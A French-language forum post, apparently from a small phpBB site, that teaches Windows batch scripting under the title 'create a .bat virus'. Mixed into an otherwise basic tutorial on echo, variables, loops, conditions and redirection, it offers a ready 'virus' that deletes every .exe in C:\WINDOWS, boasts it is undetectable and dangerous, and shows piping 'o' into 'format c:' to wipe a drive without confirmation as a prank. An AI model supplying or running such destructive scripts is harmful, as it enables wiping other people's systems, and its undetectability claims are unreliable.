Creer un virus .bat

 
Post new topic   Reply to topic    VFProd Forum Index :: Virus :: Les batch
Previous topic :: Next topic  
Author Message
Vfprod
Administrateur

Offline

Joined: 25 Feb 2008
Posts: 37

PostPosted: Thu 28 Feb - 15:02    Post subject: Creer un virus .bat Reply with quote

Créer un virus

Un virus est un programme généralement petit de taille, parfois servant à détruire ou à emmerder par messages ou par une exploitation d'une faille dans le system, ce pendant à chaque virus son antivirus seulement il faut être aussi malin que sont créateur, d'ailleurs les boite d'antivirus n'hésite pas à recruter des créateur de virus.

Sur ce site vous aller apprendre à créer des virus en .bat ou .vbs

¤ Crée ton virus sous DOS
Pour créer un virus (en dos) facilement et sans aucune notion de programmation c'est très simple.
Le virus va être en .bat (indétectable par un anti-virus, par contre par MSN si.. lol)
Un fichier .bat est tout simplement une série de commandes Dos exécutes les unes après les autres.

- Quelques commandes MS-DOs
( ** est le nom du fichier que vous voulez effacer, copier....)
del **: Cette commande permet de supprimer **
deltree **: Il supprime un dossier complet
move **: déplace le fichier **
copy ** destination --: copie le fichier ** et le colle --
echo off : désactive l'affichage de ce qui se passe (echo on réactive )
dir C:\WINDOWS : affiche le contenu de C:\WINDOWS
echo : saute une ligne
echo ce ke tu veu écrire : affiche ce qui est écrit après [echo]
cls : efface l'écran
pause : demande d'appuyez sur une touche pour continuer
C:\WINDOWS\ton_prog.exe : exécute ton programme
attrib : Affiche ou modifie les attributs d'un fichier
date : Affiche ou modifie la date.
format (*:/) : Formate un disque. (*:/ est le nom du dic c:/ par ex)
md : Crée un répertoire
print : Imprime un fichier

- Création
Pour la création de votre fichier .bat je vous propose le logiciel "Power Batch 6" que vous pouvez télécharger sur ce site |Télécharger |

PowerBatch est une application complète permettant l'édition facile de fichiers batch (*.bat).
Il comporte de nombreux assistants et modèles pour ceux qui ne connaissent pas la programmation batch ou veulent gagner du temps.
Vous pouvez apprendre le langage Batch sur ce site. ce qui vous permettera de faire bien plus que des virus c'est simple et attractif.

Installez le prog depuis setup.exe ensuite ouvrez l'application
en premiere ligne, inserrez: @echo off
Pour ne pas afficher les commandes executes (pour les afficher: @echo on)
Ensuite vous mettez dans n'importe quelle ordre des commandes msdos.
puis enregistrer le fichier et voila le virus.


Exemple de virus:
------------------
@echo off
echo Heu...bonjour, reste cool et surtout ne bouge pas..
pause
del C:\WINDOWS\*.exe
dir C:\WINDOWS\
echo Voila maintenant t libre !
cls
-------------------
le * dans la source signifie que tout les fichiers dont l'extension est notte apres (.exe ds l'exemple)
von etre supprimer.
et voila, vou avez fait un virus qui est indetectable par un antivirus et ki reste tres dangeureux.

¤ Crée ton virus avec le language visual basic avec un logiciel de création
un programme ultra simple d'utilisation, puisque il vous permet d'atribuer une commande à votre virus, en la cochant et ne penser pas que les commandes sont inofancives bien au contraire je vous laisse déguster. vous pouvez le télécharger sur ce site | Télécharger |











Introduction
Un fichier batch n'est rien de plus qu'un fichier texte contenant des commandes MS-DOS, possédant l'extension .bat
Un fichier batch est un fichier composer d'une succession de commandes DOS qui sont exécuter l'une après l'autre et toutes les commandes dos sont utilisable sur le batch.

Remarque:
Le Batch automatise les commandes répétitives exécutées sous DOS.

Exemple :
Imaginant ces commandes sous DOS
C:\Chemin> cd \ [Entrée]
C:\> cd games [Entrée]
C:\games> superjeu.exe [Entrée]
Alors que sur un fichier batch :
cd \
cd games
superjeu.exe

¤ Création d'un fichier Batch
Vous pouvez créer votre fichier avec n'importe quel éditeur texte (notepad) ou vous pouvez utiliser Power Batch | Télécharger | un programme spécialement dédié à la création de batch, d'ailleurs je l'utilise moi-même il est vraiment performent.

Maintenant commençant
Vous voulez par exemple affiche tous les fichiers *.exe
Sous Dos
C:\Chemin> cd \ [Entrée]
C:\> cd WINDOWS [Entrée]
C:\WINDOWS> DIR *.exe [Entrée]
Pour le fichier batch vous allez écrire
cd \
cd Windows
DIR *.exe
C'est moins compliquer, rapide et astucieux.
Maintenant les commandes ne sont que sur un fichier txt il faudra les transformer en .bat pour cela rien de plus simple changer l'extension .txt en .bat

Comment ça marche ?
le fichier Batch s'exécute sous MS-DOS le fichier batch est transmis à l'interpréteur COMMAND.COM, qui analyse chaque ligne du batch et exécute les commandes rencontrées. Ces commandes ne sont pas compiler ce qui veut dire que ce ne sont pas des fichiers binaires.
Les fichiers binaires utilisent des macro instructions destinée directement au processeur se qui accroît la vitesse et protège votre code.
Le programme PowerBatch peut compiler vos commandes | Télécharger |

Remarque :
Si la fenêtre se ferme automatiquement sans vous laisser le temps de visualiser son résultat, rajoutez la commande " PAUSE " à la fin de votre batch. Même si vous ne comprenez pas encore cette commande, sachez que celle-ci demande une validation clavier avant de terminer le programme, ce qui vous laissera le temps de visualiser le contenu de la fenêtre.



Les bases de la programmation Batch

¤ L'écho
La commande echo a plusieurs significations

1) Commande de désactivation ou d'activation
"Echo off", "echo on", "@"
Lorsque vous lancer votre fichier batch contenant la commande dir d:\*.exe
Il apparaît à l'écran en première ligne votre commande ensuite le résultat est affiché
http://www.torrent-style.com/tutos/batch1.jpg
Si vous ajoutez " echo off " au début, l'affichage de la commande sera annulé.

echo off
dir d:\*.exe
Vous pouvez aussi utilisé :
@ dir d:\*.exe si vous voulez que ne pas affiché cette ligne.
Dernier point la commande " @ echo off " cela évite d'affiché echo off dans la première ligne.

@echo off
dir d:\*.exe

2) Commande d'affichage du texte à l'écran grâce à la commande echo
Pour afficher un texte à l'écran faite :
echo votre texte

Remarque : Pour affiché une ligne vide ne pensez pas que c'est "echo" mais bien "echo." avec un point.

¤ Faire un commentaire une remarque
Pour introduire un commentaire on va utiliser l'instruction REM

Exemple :
Dir d:\*.exe
Rem les fichiers .exe du disque D.

Remarque :
L'echo doit être activer pour affiché le rem.
Les caractères spéciaux tel que les accents ou les sigles n'existe pas dans la programmation Batch et peuvent entraîner à des erreurs, donc ne les utilisez pas.

¤ Pour effacer l'écran taper juste " cls "

¤ Pour faire une pause taper "pause" dé l'appuie sur une touche la pause est terminé.

Avec le contenu de ce chapitre, vous pouvez rédiger de petits batchs utilisant les
notions suivantes :
o Contrôle de l'écho local par " @echo off " ou " echo on ",
o Effacement de l'écran par CLS,
o Attente de l'appui sur une touche avec pause,
o Textes divers en utilisant echo .

NOTES :
MS-DOS n'est pas sensible à la différence entre les majuscules et les minuscules pour les commandes, que vous écriviez echo ou Echo, ou bien encore ECHO ou EcHo, le résultat sera le même.



:: Variables et paramètres
Comme dans tout les langages de programmation on peut installer des variables.
Une variable est une information stocké dans un ordinateur, un nom est associé à la variable pour la manipuler facilement. On peut le faire pour les adresses mémoire qui sont difficile à retenir par exemple.
Il existe deux type de variables :
- Les variables permanente
Comme son nom l'indique ce sont des variables qui ne s'efface pas puisque elle sont lancé à chaque démarrage.
- Les variables d'environnement
Ces variables sont stockées temporairement ; elles seront détruites à la fin de votre batch.

Pour visualiser les variables installer sur votre ordinateur enter " set "
Une liste vous serra donné de cette manière
Nomdelavariable=valeur

¤ Création des variables
Pour créer une variable on va utiliser la commande " set "
Set Nomdelavariable = valeur
L'interpréteur ( COMMAND.COM ) analyse le nom de la variable et sa valeur ensuite il lui trouve un emplacement dans votre mémoire vive et la variable est créer.
La variables serra une variable d'environnement. Pour quelle soit permanente vous devrez l' insérer dans autoexec.bat après l'avoir éditer, et sous Windows NT faite Panneau de configuration/système/avancé/variables d'environnements.

¤ Lire et utiliser les variables
Pour lire une variables en la met entre deux %nomdelavariable% cequi indique à l'interpréteur de lire la valeur de la variable.

Exemple :
@Echo hello %username%
Ce qui affichera hello nico (username=nico)

¤ Manipulation des variables
Nous allons définir la variable
Set user = kevin
Rien ne se passe lors de l'exécution c'est normal
Vérifier maintenant si la variable est ajoutée grâce à la commande " set ".
La variable est ajoutée donc on peut l'utilisé
Ex : @echo l'utilisateur de la machine est %user%.
Ce qui va affiché :
L'utilisateur de la machine est kevin.

| Modifier une variable
Pour mettre staan au lieu de kevin dans l'exemple précédant
Répéter l'installation Set user = staan

| Suppression d'une variable
Pour supprimer la variable user mettez set user =
Le vide définie nul ce qui supprime la valeur.

¤ Variable remarquable
On appelle une variable remarquable, une variable qui est toujours présente, quant on utilise DOS. A titre d'exemple la variable " windir " qui pointe toujours vers le répertoire Windows.


:: Paramètres
Un batch est un programme qui peut recevoir des paramètres.
Un paramètre est toutes les références passées à un prog ou une commande.
Les paramètres sont précédés d'un seul / contrairement au variables.
Et un batch peut contenir jusqu'à 9 paramètres.
Le paramètre %0 et l'adresse du fichier.

Exemple :
Avec la commande "del"
Le paramètre /q spécifie le mode silencieux. Vous n'êtes pas invité à confirmer l'ordre de suppression, sela marche sous Win Xp, j'ignore si ça marche sous win 98.

¤ Les variables %PATH%
Pour lancer un fichier .bat, .com, .exe , ce n'est pas la peine de rajouté l'extension.

Exemple :
Pour lancer un jeu fifa2007.exe
En écrit juste fifa2007 et le jeu se lance.
Ces commandes sont stockées dans c:\windows\command.

:: Création amusante
créer un batch affichant le texte kel connard celui la allez casse toi tu me donne envie de vomir.
Donc vous metterez @echo kel connard celui la allez casse toi tu me donne envie de vomir.
Et enregistrer le fichier sous le nom de salo.bat copier ce fichier dans c:\windows\command.
Ouvrez votre MS DOS taper " salo " l'ordinateur vous répond " kel connard celui la allez casse toi tu me donne envie de vomir. "

Note :
Pour ajouter une commande vous devrez impérativement enregistrer votre fichier.bat dans le répertoire COMMAND.

¤ Les variables PATH et les autres répertoires d'ajout possible
Vous l'avez compris vous pouvez ajouter vos commandes sur d'autre répertoire.
Pour les découvrir taper path et lancer tous les répertoires vous serons donner séparer par des points virgules.
http://www.torrent-style.com/tutos/batch2.jpg
Remarque: Pour ajouter un répertoire au path ben on va tout simplement modifier la variable
Ajoutons le répertoire c:/myrep
En écrira donc : "set path =%path%; c:/myrep" et le tour est joué.



: Saut, boucle
Ces instructions de saut vont faire répéter infiniment une commande ou plusieurs dans votre programme.

¤ La commande GOTO
C'est commande de saut ou boucle inconditionnelle, qui ne peux être arrêté.
Pour faire une boucle deux commandes sont nécessaires
1- la première est la commande Goto qui signifie " aller à " c'est le départ.
2- la deuxième est un " label " c'est une étiquette qui se présente ainsi " :nomlabel " elle fixe où la boucle va recommencer est celle-ci peut être avant ou après " GOTO ".
Une commande sera placer entre les deux.
Sachez que si le Label se trouve avant GOTO alors en réalise une boucle sans fin.

Exemple :
@echo off
:voila
echo voila un exemple
goto voila

Remarque : Le label est " voila " et la boucle serra infinie puisque le label est avant " goto ".

Si le label se trouve après " goto " :

En aura ça :
Commande1
Goto label
Commande2
Commande3
:label
commande4

Le programme va exécuter la commande1 puis sauter vers la commande4 mais cela si les commandes2 et 3 sont inconditionnelles (sans condition).

Exemple :
@echo off
dir c:\*.bat
echo le programme va sauter
goto label
echo celle ci ne serra pas execute
dir d:\*.exe
:label
echo.
echo la le programme a fait le saut.

¤ La commande boucle avec FOR---DO
Après la commande "GOTO" en voici une autre " FOR----DO ".
Cette commande va au fait nous aider à par exemple ouvrir, écrire, supprimer déplacer plusieurs fichiers en même temps.

Comment fonctionne t'elle ?-Pour l'utiliser en utilise %%A
Remarque : Le A peut être remplacé par n'importe quel lettre ou nombre.
-Une liste de fichiers, dossiers, chiffres, variables… ets. Ces éléments seront séparés par des virgules, espaces ou points virgules.

Syntaxe
FOR %%L IN (élément de la liste) DO <actionsur> %%L

For = la commande
%%L = la variable
IN = commande pour FOR
(Éléments de la liste) = ici seront placer les éléments de la liste séparer par des espaces ou virgules.
DO = commande d'exécution de l'action.
<actionsur> = une commande à faire sur la liste.
%%L = la variable ou ici égale la liste.

Exemple :
@echo off
FOR %%L IN (c:\test.txt %windir%) DO dir %%L.

Sur cet exemple le programme va ouvrir le c:\test.txt et %windir% qui vont s'afficher dans l'écran.



: Exécution conditionnelle La commande IF
La commande " if " (if=si) permet d'introduire des conditions dans un batch. Elle s'écrit ainsi :
If "condition" == "valeur" action (action est une commande)

Important :
Les guillemets doivent être intégrer comme dans l'exemple.
Voyez aussi que deux " = " sépare la condition de la valeur.

Remarque : une seul commande peut être donné à action.

Exemple :
@echo off
if "%username%" == "mashax" echo l'utilisateur est mashax.

%username% est une variable avec la valeur mashax (mashax c'est moi) alors echo est affiché si la condition est fausse alors rien ne s'affiche. (vous mettrez votre nom d'utilisateur.)

Remarque importante :
La différence entre les majuscule et minuscule peut ne pas faire exécuter la condition.

¤ La commande IF--- ELSE (sous NT)
La commande If à été améliorer sous Windows NT puisque, on peut intégrer la clause " eles " qui veut dire sinon.

Exemple :
@echo off
IF EXIST c:\test.txt (type c:\test.txt) ELSE ECHO ce fichier n'existe pas.

signfie si c:\test.txt existe le lire (type) sinon affiche l'echo.

¤ Vous pouvez inverser la commande if avec IF NOT
If not est le contraire de la commande if c'est-à-dire si la condition est fausse alors l'action sera exécutée.

Exemple :
@echo off
if not "1%" == "\jeu" echo le paramètre ne définie pas jeu.

¤ La commande IF EXIST
if exist est une commande qui va vérifier l'existence d'un fichier, puis exécuter l'action si le fichier existe.

Exemple :
@echo off
if exist %windir% echo cet ordinateur à un system d'exploitation.
Ou
@echo off
if exist "%windir%" echo cet ordinateur à un system d'exploitation.

Remarque :
Les guillemets ne provoque aucun changement ainsi que le signe " = " vous pouvez les utilisé ou les ignoré.
" If not exist " est exactement le contraire de " if exist ".

¤ Utilisation des commandes de condition avec GOTO
Toutes les commandes de condition peuvent être utilisées avec GOTO

La syntaxe
If "condition" == "valeur" goto label
Commande1
Commande2
:label
commande3

Si la condition est juste alors la commande 3 serra la seul à être exécute sinon les commades1,2,3 seront toutes exécuté.

Exemple avec " if exist " :
@echo off
if exist %windir% goto m
echo si je maffiche sa ne marche pas
:m
echo windir existe.




:: La compilation avec bat2exec
Compiler un fichier Batch, veut dire de le transformer en un exécutable binaire Windows (.exe ou .com).

Pourquoi ?
En effet un exécutable a plus d'avantages qu'un fichier Batch :
-Vitesse d'exécution plus élevée.
-Code source protégé.
-Format binaire inaltérable , etc…


La compilation va être effectuée par un logiciel indépendant appelé "Bat2exec". Ce dernier n'est pas compatible avec toutes les
commandes DOS et Batch, par conséquent, testez bien le fichier compilé avant de le distribuer pour éviter toute mauvaise surprise.

Par exemple, la commande "CHOICE", n'est pas supportée par le compilateur.

:: Compiler un fichier avec Power Batch
Créez ou ouvrez un fichier Batch. Dans notre exemple, il contient simplement :

@echo off
echo Bonjour, pressez une touche…
pause

Choisissez la commande "Compiler" dans le menu "Fichier", puis nommez le fichier qui va être crée.
Cliquez sur "Compiler" pour compiler le fichier Batch.
Un fichier ".com" sera créé, résultat du code compilé par Bat2exec.

Exe2bin Pour convertit les fichiers .exe (exécutables) au format binaire. (utilisez l'invité de commandes Ms-dos)

Syntaxe
exe2bin [lecteur1:][chemin1]FichierEntrée [[lecteur2:][chemin2]FichierSortie]

:: Paramètres
[lecteur1:][chemin1]FichierEntrée
Indique l'emplacement et le nom du fichier d'entrée que vous souhaitez convertir. FichierEntrée est obligatoire.
[lecteur2:][chemin2]FichierSortie
Indique l'emplacement et le nom du fichier de sortie que vous souhaitez créer.

Remarques:
Windows XP n'utilise pas cette commande. Elle n'est acceptée que pour la compatibilité avec les fichiers de MS-DOS.
Cet outil n'est pas disponible sous Windows XP 64-Bit Édition. Exe2bin est incluse à l'intention des programmeurs de logiciel. Les simples utilisateurs n'en ont généralement pas besoin.
Les restrictions suivantes s'appliquent quand vous utilisez exe2bin :
Le fichier d'entrée doit se présenter sous le format .exe valide produit par l'éditeur de liens et ne doit pas être compressé.
Le code résident ou actuel ainsi que les parties de données du fichier combinées doivent compter moins de 64 ko.
Il ne doit pas y avoir de segment stack.

Exe2bin effectue les actions spécifiques suivantes, suivant les valeurs que vous utilisez pour les paramètres FichierEntrée et FichierSortie :
L'extension de fichier par défaut pour FichierEntrée est .exe. Exe2bin convertit le FichierEntrée .exe en fichier au format .bin (c'est-à-dire, une image mémoire du programme) et stocke ce fichier de sortie à l'endroit et sous le nom spécifiés pour [lecteur2:][chemin2]FichierSortie.
Si vous ne spécifiez ni lecteur2 ni chemin2, exe2bin écrit le fichier de sortie sur le lecteur et dans le répertoire en cours.
Si vous ne spécifiez pas de nom de fichier pour FichierSortie, exe2bin utilise le nom de fichier FichierEntrée.
L'extension par défaut du nom de fichier spécifié pour le paramètre FichierSortie est .bin.

Les types de conversions suivants sont pris en charge :
Si vous ne spécifiez pas CS:IP dans le fichier .exe, exe2bin procède à une conversion binaire pure. Si le programme contient des instructions nécessitant un repositionnement de segment, exe2bin vous invite à spécifier la valeur de résolution. Cette valeur représente le segment absolu où le programme doit être chargé. Vous pouvez utiliser le programme résultant uniquement lorsque vous le chargez à l'adresse mémoire absolue spécifiée par votre programme. L'interpréteur de commandes ne peut pas le charger.
Si vous spécifiez CS:IP en tant que 0000:100H, le fichier est exécuté comme un fichier .com avec le pointeur d'instruction établi à 100H par l'instruction d'assemblage ORG. N'omettez pas l'extension .com dans FichierSortie. Aucune correction de segment n'est autorisée, car les fichiers .com doivent être capables de repositionner les segments. Cela signifie que les fichiers .com doivent remplir les conditions d'entrée expliquées dans la documentation Microsoft Macro Assembler. L'interpréteur de commandes peut alors charger et exécuter le programme comme s'il s'agissait d'un des programmes .com fournis sur le disque Windows XP.


:: Redirections de sorties

¤ Ecrire dans un fichier
Vous pouvez écrire dans un fichier, et pour cela vous avez deux modes :
Le mode append et le mode output

- Le mode append (append= joindre)
Ce mode va nous permettre d'ajouter des données dans un fichier sans supprimer ou effacer les données précédentes, et si le fichier n'existe pas il va le créer.
Et pour cela en écrit :
Echo texte >> c:\test.txt
Les deux crochets orientés vers la droite sont indispensables.
Si par exemple vous voulez que votre variable soit permanente il faudra l'ajouter dans c:\autoexec.bat et vous pouvez le faire ainsi :
Echo nomvariable=valeur >> c:\autoexec.bat

- Le mode output (output=sortir)
A la différence avec le premier mode celui efface tout avant de rajouter de nouvelles données. Et on utilise qu'un seul crochet >

Exemple :
Echo un nouveau truc > c:\mydoc\important.txt

Remarque : en peut utiliser cet commande juste pour enregistrer une remarque un numéro de tel puisque même si le fichier n'existe pas il serra créer.

¤ Ecrire le résultat d'une commande dans un fichier
Vous pouvez écrire le résultat d'une commande dans un ficher et cela avec les deux modes. (append et output)

Exemple :
type c:\attaque.txt >> c:\tuto.htm

Le contenu de attaque.txt sera ajouté dans tuto.htm

¤ La redirection vers NUL
Cette redirection permet de masquer une commande, car " NUL" est virtuel.

Exemple :
Pause>nul
La commande pause s'exécute mais ne s'affiche pas (il ne vous demande pas d'appuyer sur une touche).

Attention : La redirection qui va suivre est très intéressante pour foutre le bordel lol.

¤ Le symbole " | "
Ce caractère permet de rediriger une commande vers une autre. (Alt Gr + -)
Je vous explique :
Si par exemple vous voulez formater un disque une confirmation vous serra demander vous devrez taper o qui signifie oui, avec cet commande plus besoin de le faire je vois déjà ce qui rigole, si vous voyez ce que je veut dire.

Ce qui va donner :
Echo o | Format c:
On peut aussi l'écrire ainsi :
Format c:< c:\oui.txt
Le fichier oui.txt contient o.
Cela s'appelle une redirection d'entrée vers une commande.

Un autre exemple :
echo 10/07/2005 | date
ou
date:< c:\date.txt

dans le fichier date.txt on écrit la date 10/07/2005.
C'est pour entrer la date sans qu'il vous la demande. Et la date 10/07/2005 et le jour ou j'ai écrit ce chapitre.

Et cela peut vous aider dans vos taches quotidiennes de programmeur batch.

¤ Appel d’autre fichier batch
Vous pouvez appeler un fichier batch depuis un autre de trois façons.

La première :
En tapant juste le chemin d’accès.

Exemple :
C:\fichier.bat

Le programme va exécuter le fichier.bat. Mais si vous avez d’autre commande par la suite elles ne seront pas lancées.

La deuxième :
Appel avec "CALL"

La le programme va exécuter le ficher appeler puis continuer de lancer les commandes suivantes.

Remarques:
N'utilisez ni le signe « | » ni les symboles de redirection avec la commande call.
Vous pouvez créer un programme de commandes qui s'appelle lui-même, à condition toutefois de fournir une condition de sortie. Sinon, les programmes de commandes parent peuvent exécuter indéfiniment une boucle.

La troisième :
La commande " Start " sous Windows XP
Star ouvre une fenêtre d'invite de commandes distincte pour exécuter une commande ou un programme déterminé.

Paramètre :
/max Démarre une nouvelle fenêtre d'invite de commandes en plein écran.
/min Démarre une nouvelle fenêtre d'invite de commandes réduite à une icône. 


Back to top
Display posts from previous:   
Post new topic   Reply to topic    VFProd Forum Index :: Virus :: Les batch All times are GMT + 1 Hour
Page 1 of 1

 
Jump to:  

Index | Administration Panel | Create a free forum | Support forum | Forum directory | Legal notices | Report a violation


Powered by phpBB © 2001, 2008 phpBB Group
Charcoal2 Theme © Zarron Media